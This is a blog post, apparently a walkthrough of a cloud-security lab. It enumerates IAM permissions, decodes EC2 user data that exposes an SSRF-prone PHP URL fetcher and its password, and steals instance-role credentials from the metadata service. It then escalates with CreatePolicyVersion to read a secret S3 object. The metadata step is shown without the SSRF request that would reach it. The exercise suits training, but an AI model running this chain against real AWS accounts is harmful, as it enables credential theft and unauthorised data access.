Skip to content

NimTechnology

Trình bày các công nghệ CLOUD một cách dễ hiểu.

  • Kubernetes & Container
    • Docker
    • Kubernetes
      • Ingress
      • Pod
    • Helm Chart
    • OAuth2 Proxy
    • Isito-EnvoyFilter
    • Apache Kafka
      • Kafka
      • Kafka Connect
      • Lenses
    • Vault
    • Longhorn – Storage
    • VictoriaMetrics
    • MetalLB
    • Kong Gateway
  • CI/CD
    • ArgoCD
    • ArgoWorkflows
    • Argo Events
    • Spinnaker
    • Jenkins
    • Harbor
    • TeamCity
    • Git
      • Bitbucket
  • Coding
    • DevSecOps
    • Terraform
      • GCP – Google Cloud
      • AWS – Amazon Web Service
      • Azure Cloud
    • Golang
    • Laravel
    • Python
    • Jquery & JavaScript
    • Selenium
  • Log, Monitor & Tracing
    • DataDog
    • Prometheus
    • Grafana
    • ELK
      • Kibana
      • Logstash
  • BareMetal
    • NextCloud
  • Toggle search form

[Security] How to access S3 when you stay at any EC2!

Posted on June 26, 2024June 26, 2024 By nim No Comments on [Security] How to access S3 when you stay at any EC2!

You already have limited access inside the AWS account with the credentials of a compromised IAM user.

To find out the name of your IAM user, you have to execute aws iam get-user.

[user@avatao workdir]$ aws iam get-user
{
    "User": {
        "Path": "/",
        "UserName": "avatao-user",
        "UserId": "ofb5v0jvtsobj4la5xsp",
        "Arn": "arn:aws:iam::123456789012:user/avatao-user",
        "CreateDate": "2024-06-25T06:57:13.243Z"
    }
}

There are 3 ways to give permissions to an IAM user: inline policies (aws iam list-user-policies), attached policies (aws iam list-attached-user-policies) and IAM groups (aws iam list-groups-for-user).

[user@avatao workdir]$ aws iam list-user-policies --user-name avatao-user
{
    "PolicyNames": [
        "avatao-user-policy"
    ]
}
[user@avatao workdir]$ aws iam list-attached-user-policies --user-name avatao-user
{
    "AttachedPolicies": []
}
[user@avatao workdir]$ aws iam list-groups-for-user --user-name avatao-user
{
    "Groups": []
}

Giờ chúng ta đã biêt policy name: avatao-user-policy

The commands aws iam get-policy (for attached policies), aws iam get-user-policy (for inline policies for users) and aws iam get-group-policy (for inline policies for groups) can be used to view IAM policies.

[user@avatao workdir]$ aws iam get-user-policy --user-name avatao-user --policy-name avatao-user-policy
{
    "UserName": "avatao-user",
    "PolicyName": "avatao-user-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": [
                    "iam:GetUserPolicy",
                    "iam:GetUser",
                    "iam:ListUserPolicies",
                    "iam:ListAttachedUserPolicies",
                    "iam:ListGroupsForUser"
                ],
                "Resource": "arn:aws:iam::123456789012:user/avatao-user"
            },
            {
                "Effect": "Allow",
                "Action": [
                    "iam:GetPolicyVersion",
                    "iam:GetPolicy",
                    "iam:GetGroupPolicy",
                    "iam:GetGroup",
                    "iam:ListAttachedGroupPolicies"
                ],
                "Resource": "*"
            },
            {
                "Effect": "Allow",
                "Action": [
                    "ec2:DescribeInstances",
                    "ec2:DescribeInstanceAttribute"
                ],
                "Resource": "*"
            }
        ]
    }
}

If you analyze the list of permissions your IAM user is granted, you’ll notice that it has read access to EC2 instances and their attributes.

You can list all the instances in your account by running aws ec2 describe-instances.
Lúc này chúng ta assume này rằng EC2 có thế access vào S3

[user@avatao workdir]$ aws ec2 describe-instances
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-760aaa0f",
                    "InstanceId": "i-cfe4e57e6075e2cd0",
                    "InstanceType": "t2.micro",
                    "KernelId": "None",
                    "KeyName": "MyKeyPair",
                    "LaunchTime": "2024-06-25T06:57:13.000Z",
                    "Monitoring": {
                        "State": "disabled"
                    },
                    "Placement": {
                        "AvailabilityZone": "us-east-1a",
                        "GroupName": "",
                        "Tenancy": "default"
                    },
                    "PrivateDnsName": "ip-10-226-131-227.ec2.internal",
                    "PrivateIpAddress": "10.226.131.227",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-54-214-230-53.compute-1.amazonaws.com",
                    "PublicIpAddress": "54.214.230.53",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "StateTransitionReason": "",
                    "Architecture": "x86_64",
                    "BlockDeviceMappings": [
                        {
                            "DeviceName": "/dev/sda1",
                            "Ebs": {
                                "AttachTime": "2024-06-25T06:57:13.000Z",
                                "DeleteOnTermination": false,
                                "Status": "in-use",
                                "VolumeId": "vol-4891b6a9"
                            }
                        }
                    ],
                    "ClientToken": "ABCDE1234567890123",
                    "EbsOptimized": false,
                    "Hypervisor": "xen",
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "123456789012",
                                "PublicIp": "54.214.230.53"
                            },
                            "Attachment": {
                                "AttachTime": "2015-01-01T00:00:00Z",
                                "AttachmentId": "eni-attach-fe63c1f9",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached"
                            },
                            "Description": "Primary network interface",
                            "Groups": [
                                {
                                    "GroupName": "my-sg",
                                    "GroupId": "sg-a4690073"
                                }
                            ],
                            "MacAddress": "1b:2b:3c:4d:5e:6f",
                            "NetworkInterfaceId": "eni-3ab7ba9f",
                            "OwnerId": "123456789012",
                            "PrivateIpAddress": "10.226.131.227",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "123456789012",
                                        "PublicIp": "54.214.230.53"
                                    },
                                    "Primary": true,
                                    "PrivateIpAddress": "10.226.131.227"
                                }
                            ],
                            "SourceDestCheck": true,
                            "Status": "in-use"
                        }
                    ],
                    "RootDeviceName": "/dev/sda1",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupName": "my-sg",
                            "GroupId": "sg-a4690073"
                        }
                    ],
                    "SourceDestCheck": true,
                    "StateReason": {
                        "Code": "",
                        "Message": ""
                    },
                    "VirtualizationType": "hvm"
                }
            ],
            "OwnerId": "123456789012",
            "ReservationId": "r-62b3b1b6"
        }
    ]
}

Unfortunately, we don’t have the SSH key that we could use to get into it…
But maybe it’s running a web server that has some vulnerability in it!
A good place to look for clues could be the user data that was most likely used to start the web server.

The user data is an attribute of the instance and it can queried with the command aws ec2 describe-instance-attribute.

[user@avatao workdir]$ aws ec2 describe-instance-attribute --instance-id i-cfe4e57e6075e2cd0 --attribute userData
{
    "InstanceId": "i-cfe4e57e6075e2cd0",
    "UserData": {
        "Value": "IyEvYmluL2Jhc2gKeXVtIHVwZGF0ZSAteQp5dW0gaW5zdGFsbCBwaHAgLXkKeXVtIGluc3RhbGwgaHR0cGQgLXkKbWtkaXIgLXAgL3Zhci93d3cvaHRtbApjZCAvdmFyL3d3dy9odG1sCnJtIC1yZiAuLyoKcHJpbnRmICI8P3BocFxuaWYoaXNzZXQoXCRfUE9TVFsndXJsJ10pKSB7XG4gaWYoc3RyY21wKFwkX1BPU1RbJ3Bhc3N3b3JkJ10sICcxOTA2MjExMDUzNzE5OTQyMjEwNjAxMjY3MTYnKSAhPSAwKSB7XG4gZWNobyAnPGRpdj5Xcm9uZyBwYXNzd29yZC4gWW91IGp1c3QgbmVlZCB0byBmaW5kIGl0ITwvZGl2Pic7XG4gZWNobyAnPGZvcm0gYWN0aW9uPSIvIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gYmFjayIgLz48L2Zvcm0+JztcbiBkaWU7XG4gfVxuIGVjaG8gJzxwcmU+JztcbiBlY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKFwkX1BPU1RbJ3VybCddKSk7XG4gZWNobyAnPC9wcmU+JztcbiBlY2hvICc8Zm9ybSBhY3Rpb249Ii8iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyBiYWNrIiAvPjwvZm9ybT4nO1xuIGRpZTtcbn1cbj8+XG48aHRtbD48aGVhZD48dGl0bGU+VVJMIEZldGNoZXI8L3RpdGxlPjwvaGVhZD48Ym9keT48Zm9ybSBtZXRob2Q9J1BPU1QnPjxsYWJlbCBmb3I9J3VybCc+RW50ZXIgdGhlIHBhc3N3b3JkIGFuZCBhIFVSTCB0aGF0IHlvdSB3YW50IHRvIG1ha2UgYSByZXF1ZXN0IHRvIChleDogaHR0cHM6Ly9nb29nbGUuY29tLyk8L2xhYmVsPjxiciAvPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzd29yZCcgcGxhY2Vob2xkZXI9J1Bhc3N3b3JkJyAvPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHBsYWNlaG9sZGVyPSdVUkwnIC8+PGJyIC8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1JldHJpZXZlIENvbnRlbnRzJyAvPjwvZm9ybT48L2JvZHk+PC9odG1sPiIgPiBpbmRleC5waHAKL3Vzci9zYmluL2FwYWNoZWN0bCBzdGFydA=="
    }
}
USER_DATA=$(aws ec2 describe-instance-attribute --instance-id i-cfe4e57e6075e2cd0 --attribute userData --query 'UserData.Value' --output text)
echo $USER_DATA | base64 --decode

output:>>>>>
#!/bin/bash
yum update -y
yum install php -y
yum install httpd -y
mkdir -p /var/www/html
cd /var/www/html
rm -rf ./*
printf "<?php\nif(isset(\$_POST['url'])) {\n if(strcmp(\$_POST['password'], '190621105371994221060126716') != 0) {\n echo '<div>Wrong password. You just need to find it!</div>';\n echo '<form action="/"><input type="submit" value="Go back" /></form>';\n die;\n }\n echo '<pre>';\n echo(file_get_contents(\$_POST['url']));\n echo '</pre>';\n echo '<form action="/"><input type="submit" value="Go back" /></form>';\n die;\n}\n?>\n<html><head><title>URL Fetcher</title></head><body><form method='POST'><label for='url'>Enter the password and a URL that you want to make a request to (ex: https://google.com/)</label><br /><input type='text' name='password' placeholder='Password' /><input type='text' name='url' placeholder='URL' /><br /><input type='submit' value='Retrieve Contents' /></form></body></html>" > index.php
/usr/sbin/apachectl start

Get the Credentials Provided by the Instance Role Using the Metadata Service

Retrieve the IAM role credentials from the instance metadata service.

ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDENTIALS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
echo "IAM Role Name: $ROLE_NAME"
echo "IAM Role Credentials: $CREDENTIALS"

Find a Secret in S3 Using the Stolen Credentials

export AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r .Token)
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
aws iam list-attached-role-policies --role-name $ROLE_NAME
{
    "AttachedPolicies": [
        {
            "PolicyName": "ec2-role-policy",
            "PolicyArn": "arn:aws:iam::123456789012:policy/ec2-role-policy"
        }
    ]
}
# Get role name
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# List attached policies
POLICIES=$(aws iam list-attached-role-policies --role-name $ROLE_NAME | jq -r '.AttachedPolicies[].PolicyArn')

# Describe each policy
for POLICY_ARN in $POLICIES; do
  POLICY_NAME=$(aws iam get-policy --policy-arn $POLICY_ARN | jq -r '.Policy.PolicyName')
  POLICY_VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN | jq -r '.Policy.DefaultVersionId')
  echo "Policy: $POLICY_NAME"
  aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $POLICY_VERSION
done

# List inline policies
INLINE_POLICIES=$(aws iam list-role-policies --role-name $ROLE_NAME | jq -r '.PolicyNames[]')

# Describe each inline policy
for INLINE_POLICY in $INLINE_POLICIES; do
  echo "Inline Policy: $INLINE_POLICY"
  aws iam get-role-policy --role-name $ROLE_NAME --policy-name $INLINE_POLICY
done
[user@avatao workdir]$ POLICIES=$(aws iam list-attached-role-policies --role-name $ROLE_NAME | jq -r '.AttachedPolicies[].PolicyArn')
[user@avatao workdir]$ echo $POLICIES
arn:aws:iam::123456789012:policy/ec2-role-policy
[user@avatao workdir]$  POLICY_NAME=$(aws iam get-policy --policy-arn $POLICIES | jq -r '.Policy.PolicyName')
[user@avatao workdir]$ echo $POLICY_NAME
ec2-role-policy
[user@avatao workdir]$ POLICY_VERSION=$(aws iam get-policy --policy-arn $POLICIES| jq -r '.Policy.DefaultVersionId')
[user@avatao workdir]$ echo $POLICY_VERSION
v1
[user@avatao workdir]$ aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/ec2-role-policy --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicy",
                        "iam:GetPolicyVersion",
                        "iam:GetRolePolicy",
                        "iam:ListRolePolicies",
                        "iam:ListAttachedRolePolicies",
                        "iam:CreatePolicyVersion"
                    ],
                    "Resource": "*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:ListAllMyBuckets",
                        "s3:ListBucket"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-25T09:51:32.101Z"
    }
}

You can list all the buckets in your AWS account by running aws s3 ls.

[user@avatao workdir]$ aws s3 ls
2006-02-03 16:45:09 secret-bucket
[user@avatao workdir]$ BUCKET_NAME="secret-bucket"
[user@avatao workdir]$ aws s3 ls s3://$BUCKET_NAME --recursive | grep "secret"
2024-06-25 06:57:13         64 secret-object
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/ec2-role-policy --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "*"
        }
    ]
}' --set-as-default
aws s3 cp s3://$BUCKET_NAME/secret-object ./
download: s3://secret-bucket/secret-object to ./secret-object   
[user@avatao workdir]$ ls
nim.sh  secret-object  security-credentials.json  user-data
[user@avatao workdir]$ cat secret-object 
The secret flag is: security_is_even_more_important_in_the_cloud
DevSecOps

Post navigation

Previous Post: [Golang] Use -buildvcs=false to disable VCS stamping
Next Post: [Security] Find vulnerabilities in your EC2 Linux instance

More Related Articles

[DevSecOps] Remove the secrets on Git. DevSecOps
[OPA Conftest] general-purpose policy engine DevSecOps
[KubeSec] Security risk analysis for Kubernetes resources DevSecOps
[Security] Find vulnerabilities in your EC2 Linux instance DevSecOps
[DevSecOps] Mutation testing DevSecOps
[DAST] OWASP ZAP – Understand about Dynamic Application Security Testing DevSecOps

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Tham Gia Group DevOps nhé!
Để Nim có nhiều động lực ra nhiều bài viết.
Để nhận được những thông báo mới nhất.

Recent Posts

  • [Argo Workflow] Create an access token for Argo Workflows July 14, 2025
  • [Argo Workflow] SSO Authentication for Argo Workflows. July 14, 2025
  • [AWS/EKS] Cache Docker image to accelerate EKS container deployment. July 10, 2025
  • [Laravel] Laravel Helpful June 26, 2025
  • [VScode] Hướng dẫn điều chỉnh font cho terminal June 20, 2025

Archives

  • July 2025
  • June 2025
  • May 2025
  • April 2025
  • March 2025
  • February 2025
  • January 2025
  • December 2024
  • November 2024
  • October 2024
  • September 2024
  • August 2024
  • July 2024
  • June 2024
  • May 2024
  • April 2024
  • March 2024
  • February 2024
  • January 2024
  • December 2023
  • November 2023
  • October 2023
  • September 2023
  • August 2023
  • July 2023
  • June 2023
  • May 2023
  • April 2023
  • March 2023
  • February 2023
  • January 2023
  • December 2022
  • November 2022
  • October 2022
  • September 2022
  • August 2022
  • July 2022
  • June 2022
  • May 2022
  • April 2022
  • March 2022
  • February 2022
  • January 2022
  • December 2021
  • November 2021
  • October 2021
  • September 2021
  • August 2021
  • July 2021
  • June 2021

Categories

  • BareMetal
    • NextCloud
  • CI/CD
    • Argo Events
    • ArgoCD
    • ArgoWorkflows
    • Git
      • Bitbucket
    • Harbor
    • Jenkins
    • Spinnaker
    • TeamCity
  • Coding
    • DevSecOps
    • Golang
    • Jquery & JavaScript
    • Laravel
    • NextJS 14 & ReactJS & Type Script
    • Python
    • Selenium
    • Terraform
      • AWS – Amazon Web Service
      • Azure Cloud
      • GCP – Google Cloud
  • Kubernetes & Container
    • Apache Kafka
      • Kafka
      • Kafka Connect
      • Lenses
    • Docker
    • Helm Chart
    • Isito-EnvoyFilter
    • Kong Gateway
    • Kubernetes
      • Ingress
      • Pod
    • Longhorn – Storage
    • MetalLB
    • OAuth2 Proxy
    • Vault
    • VictoriaMetrics
  • Log, Monitor & Tracing
    • DataDog
    • ELK
      • Kibana
      • Logstash
    • Fluent
    • Grafana
    • Prometheus
  • Uncategorized
  • Admin

Copyright © 2025 NimTechnology.